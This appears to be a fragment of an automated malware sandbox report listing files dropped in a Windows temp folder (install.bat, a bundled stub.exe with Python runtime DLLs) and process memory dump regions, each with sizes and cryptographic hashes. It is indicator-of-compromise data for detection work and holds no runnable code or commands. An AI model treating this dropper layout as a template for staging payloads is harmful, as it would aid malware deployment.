MD5926dc90bd9faf4efe1700564aa2a1700
SHA1763e5af4be07444395c2ab11550c70ee59284e6d
SHA25650825ea8b431d86ec228d9fa6b643e2c70044c709f5d9471d779be63ff18bcd0
SHA512a8703ff97243aa3bc877f71c0514b47677b48834a0f2fee54e203c0889a79ce37c648243dbfe2ee9e1573b3ca4d49c334e9bfe62541653125861a5398e2fe556
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zhdeqvvu.lq5.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\install.batFilesize
568B
MD5e861a08036b9eb5f216deb58e8a7934d
SHA15f12dd049df2f88d95f205a4adc307df78ac16ee
SHA256e8315164849216f4c670c13b008e063da2176efb5d08939caa321e39a33035eb
SHA5127ea2fd3b085bd4b3e27d4dda36e079ec8910173cc2b33ccd06698051eb7d5f2818ed9000761d1fc44e354c06d015feb16e77958dab8a3969a0cee2fd453ca0c9
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\VCRUNTIME140.dllFilesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_asyncio.pydFilesize
62KB
MD56eb3c9fc8c216cea8981b12fd41fbdcd
SHA15f3787051f20514bb9e34f9d537d78c06e7a43e6
SHA2563b0661ef2264d6566368b677c732ba062ac4688ef40c22476992a0f9536b0010
SHA5122027707824d0948673443dd54b4f45bc44680c05c3c4a193c7c1803a1030124ad6c8fbe685cc7aaf15668d90c4cd9bfb93de51ea8db4af5abe742c1ef2dcd08b
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_bz2.pydFilesize
81KB
MD5a4b636201605067b676cc43784ae5570
SHA1e9f49d0fc75f25743d04ce23c496eb5f89e72a9a
SHA256f178e29921c04fb68cc08b1e5d1181e5df8ce1de38a968778e27990f4a69973c
SHA51202096bc36c7a9ecfa1712fe738b5ef8b78c6964e0e363136166657c153727b870a6a44c1e1ec9b81289d1aa0af9c85f1a37b95b667103edc2d3916280b6a9488
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_cffi_backend.pydFilesize
177KB
MD5ebb660902937073ec9695ce08900b13d
SHA1881537acead160e63fe6ba8f2316a2fbbb5cb311
SHA25652e5a0c3ca9b0d4fc67243bd8492f5c305ff1653e8d956a2a3d9d36af0a3e4fd
SHA51219d5000ef6e473d2f533603afe8d50891f81422c59ae03bead580412ec756723dc3379310e20cd0c39e9683ce7c5204791012e1b6b73996ea5cb59e8d371de24
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_lzma.pydFilesize
154KB
MD5b5fbc034ad7c70a2ad1eb34d08b36cf8
SHA14efe3f21be36095673d949cceac928e11522b29c
SHA25680a6ebe46f43ffa93bbdbfc83e67d6f44a44055de1439b06e4dd2983cb243df6
SHA512e7185da748502b645030c96d3345d75814ba5fd95a997c2d1c923d981c44d5b90db64faf77ddbbdc805769af1bec37daf0ecee0930a248b67a1c2d92b59c250c
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_socket.pydFilesize
75KB
MD5e137df498c120d6ac64ea1281bcab600
SHA1b515e09868e9023d43991a05c113b2b662183cfe
SHA2568046bf64e463d5aa38d13525891156131cf997c2e6cdf47527bc352f00f5c90a
SHA512cc2772d282b81873aa7c5cba5939d232cceb6be0908b211edb18c25a17cbdb5072f102c0d6b7bc9b6b2f1f787b56ab1bc9be731bb9e98885c17e26a09c2beb90
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_sqlite3.pydFilesize
95KB
MD57f61eacbbba2ecf6bf4acf498fa52ce1
SHA13174913f971d031929c310b5e51872597d613606
SHA25685de6d0b08b5cc1f2c3225c07338c76e1cab43b4de66619824f7b06cb2284c9e
SHA512a5f6f830c7a5fadc3349b42db0f3da1fddb160d7e488ea175bf9be4732a18e277d2978720c0e294107526561a7011fadab992c555d93e77d4411528e7c4e695a
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\_ssl.pydFilesize
155KB
MD535f66ad429cd636bcad858238c596828
SHA1ad4534a266f77a9cdce7b97818531ce20364cb65
SHA25658b772b53bfe898513c0eb264ae4fa47ed3d8f256bc8f70202356d20f9ecb6dc
SHA5121cca8e6c3a21a8b05cc7518bd62c4e3f57937910f2a310e00f13f60f6a94728ef2004a2f4a3d133755139c3a45b252e6db76987b6b78bc8269a21ad5890356ad
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\cryptography\hazmat\bindings\_rust.pydFilesize
6.9MB
MD5b364cecdba4b73c71116781b1c38d40f
SHA159ef6f46bd3f2ec17e78df8ee426d4648836255a
SHA25610d009a3c97bf908961a19b4aaddc298d32959acc64bedf9d2a7f24c0261605b
SHA512999c2da8e046c9f4103385c7d7dbb3bfdac883b6292dca9d67b36830b593f55ac14d6091eb15a41416c0bd65ac3d4a4a2b84f50d13906d36ed5574b275773ce7
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\libcrypto-1_1.dllFilesize
3.3MB
MD5ab01c808bed8164133e5279595437d3d
SHA10f512756a8db22576ec2e20cf0cafec7786fb12b
SHA2569c0a0a11629cced6a064932e95a0158ee936739d75a56338702fed97cb0bad55
SHA5124043cda02f6950abdc47413cfd8a0ba5c462f16bcd4f339f9f5a690823f4d0916478cab5cae81a3d5b03a8a196e17a716b06afee3f92dec3102e3bbc674774f2
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\libffi-7.dllFilesize
32KB
MD5eef7981412be8ea459064d3090f4b3aa
SHA1c60da4830ce27afc234b3c3014c583f7f0a5a925
SHA256f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081
SHA512dc9ff4202f74a13ca9949a123dff4c0223da969f49e9348feaf93da4470f7be82cfa1d392566eaaa836d77dde7193fed15a8395509f72a0e9f97c66c0a096016
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\libssl-1_1.dllFilesize
682KB
MD5de72697933d7673279fb85fd48d1a4dd
SHA1085fd4c6fb6d89ffcc9b2741947b74f0766fc383
SHA256ed1c8769f5096afd000fc730a37b11177fcf90890345071ab7fbceac684d571f
SHA5120fd4678c65da181d7c27b19056d5ab0e5dd0e9714e9606e524cdad9e46ec4d0b35fe22d594282309f718b30e065f6896674d3edce6b3b0c8eb637a3680715c2c
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\python3.dllFilesize
63KB
MD507bd9f1e651ad2409fd0b7d706be6071
SHA1dfeb2221527474a681d6d8b16a5c378847c59d33
SHA2565d78cd1365ea9ae4e95872576cfa4055342f1e80b06f3051cf91d564b6cd09f5
SHA512def31d2df95cb7999ce1f55479b2ff7a3cb70e9fc4778fc50803f688448305454fbbf82b5a75032f182dff663a6d91d303ef72e3d2ca9f2a1b032956ec1a0e2a
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\python310.dllFilesize
4.3MB
MD5c80b5cb43e5fe7948c3562c1fff1254e
SHA1f73cb1fb9445c96ecd56b984a1822e502e71ab9d
SHA256058925e4bbfcb460a3c00ec824b8390583baef0c780a7c7ff01d43d9eec45f20
SHA512faa97a9d5d2a0bf78123f19f8657c24921b907268938c26f79e1df6d667f7bee564259a3a11022e8629996406cda9fa00434bb2b1de3e10b9bddc59708dbad81
-
C:\Users\Admin\AppData\Local\Temp\onefile_4820_133637469443728353\stub.exeFilesize
17.9MB
MD5972d9d2422f1a71bed840709024302f8
SHA1e52170710e3c413ae3cfa45fcdecf19db4aa382c
SHA2561c666df4eafab03ecde809ffbc40dd60b8ac2fe7bdca5632c5c4002254e6e564
SHA5123d84252756dcb4820b7794e9a92811d32631b9f3e9bd1a558fd040736b1472c0d00efb6ff7a13ae3bcd327f3bfac2b6ad94a5a3dfbc8ba54511a366c4f4727a6
-
memory/1420-408-0x0000000000F50000-0x0000000000FA6000-memory.dmpFilesize
344KB
-
memory/1420-407-0x0000000000F50000-0x0000000000FA6000-memory.dmpFilesize
344KB
-
memory/1956-412-0x00007FF6D45E0000-0x00007FF6D5815000-memory.dmpFilesize
18.2MB
-
memory/2252-61-0x0000000005150000-0x000000000525A000-memory.dmpFilesize
1.0MB
-
memory/2252-43-0x0000000004DD0000-0x0000000004E62000-memory.dmpFilesize
584KB
-
memory/2252-40-0x000000007389E000-0x000000007389F000-memory.dmpFilesize
4KB
-
memory/2252-63-0x00000000050E0000-0x000000000511C000-memory.dmpFilesize
240KB
-
memory/2252-41-0x00000000003A0000-0x00000000003F0000-memory.dmpFilesize
320KB
-
memory/2252-42-0x0000000005450000-0x00000000059F4000-memory.dmpFilesize
5.6MB
-
memory/2252-64-0x0000000005260000-0x00000000052AC000-memory.dmpFilesize
304KB
-
memory/2252-57-0x0000000006020000-0x0000000006638000-memory.dmpFilesize
6.1MB
-
memory/2252-62-0x0000000005080000-0x0000000005092000-memory.dmpFilesize
72KB
-
memory/2252-185-0x0000000005A90000-0x0000000005AF6000-memory.dmpFilesize
408KB
-
memory/2252-44-0x0000000004FB0000-0x0000000004FBA000-memory.dmpFilesize
40KB
-
memory/2500-409-0x00007FF6449F0000-0x00007FF645026000-memory.dmpFilesize
6.2MB
-
memory/2500-395-0x00007FF6449F0000-0x00007FF645026000-memory.dmpFilesize
6.2MB
-
memory/2524-218-0x0000000000400000-0x000000000273A000-memory.dmpFilesize
35.2MB
-
memory/2720-198-0x00000000084A0000-0x0000000008662000-memory.dmpFilesize
1.8MB
-
memory/2720-200-0x00000000083F0000-0x0000000008440000-memory.dmpFilesize
320KB
-
memory/2720-65-0x0000000000400000-0x0000000000450000-memory.dmpFilesize
320KB
-
memory/2720-199-0x0000000008BA0000-0x00000000090CC000-memory.dmpFilesize
5.2MB
-
memory/2776-139-0x0000019A695A0000-0x0000019A695C2000-memory.dmpFilesize
136KB
-
memory/3472-245-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-527-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-537-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-536-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-535-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-201-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-534-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-21-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-20-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-19-0x00000000007B1000-0x00000000007DF000-memory.dmpFilesize
184KB
-
memory/3472-18-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-533-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-396-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-397-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-406-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-529-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-528-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-246-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-526-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-525-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3472-524-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3556-530-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/3556-532-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/4444-427-0x000002963F310000-0x000002963F31A000-memory.dmpFilesize
40KB
-
memory/4444-426-0x000002963F320000-0x000002963F332000-memory.dmpFilesize
72KB
-
memory/4556-17-0x0000000000D30000-0x00000000011CC000-memory.dmpFilesize
4.6MB
-
memory/4556-1-0x0000000077C84000-0x0000000077C86000-memory.dmpFilesize
8KB
-
memory/4556-2-0x0000000000D31000-0x0000000000D5F000-memory.dmpFilesize
184KB
-
memory/4556-3-0x0000000000D30000-0x00000000011CC000-memory.dmpFilesize
4.6MB
-
memory/4556-5-0x0000000000D30000-0x00000000011CC000-memory.dmpFilesize
4.6MB
-
memory/4556-0-0x0000000000D30000-0x00000000011CC000-memory.dmpFilesize
4.6MB
-
memory/4644-164-0x0000000000400000-0x0000000000470000-memory.dmpFilesize
448KB
-
memory/4644-238-0x0000000009670000-0x00000000096E6000-memory.dmpFilesize
472KB
-
memory/4644-240-0x0000000009640000-0x000000000965E000-memory.dmpFilesize
120KB
-
memory/4820-415-0x00007FF6083F0000-0x00007FF608EC5000-memory.dmpFilesize
10.8MB
-
memory/4820-425-0x00007FF6083F0000-0x00007FF608EC5000-memory.dmpFilesize
10.8MB
-
memory/5036-523-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB
-
memory/5036-522-0x00000000007B0000-0x0000000000C4C000-memory.dmpFilesize
4.6MB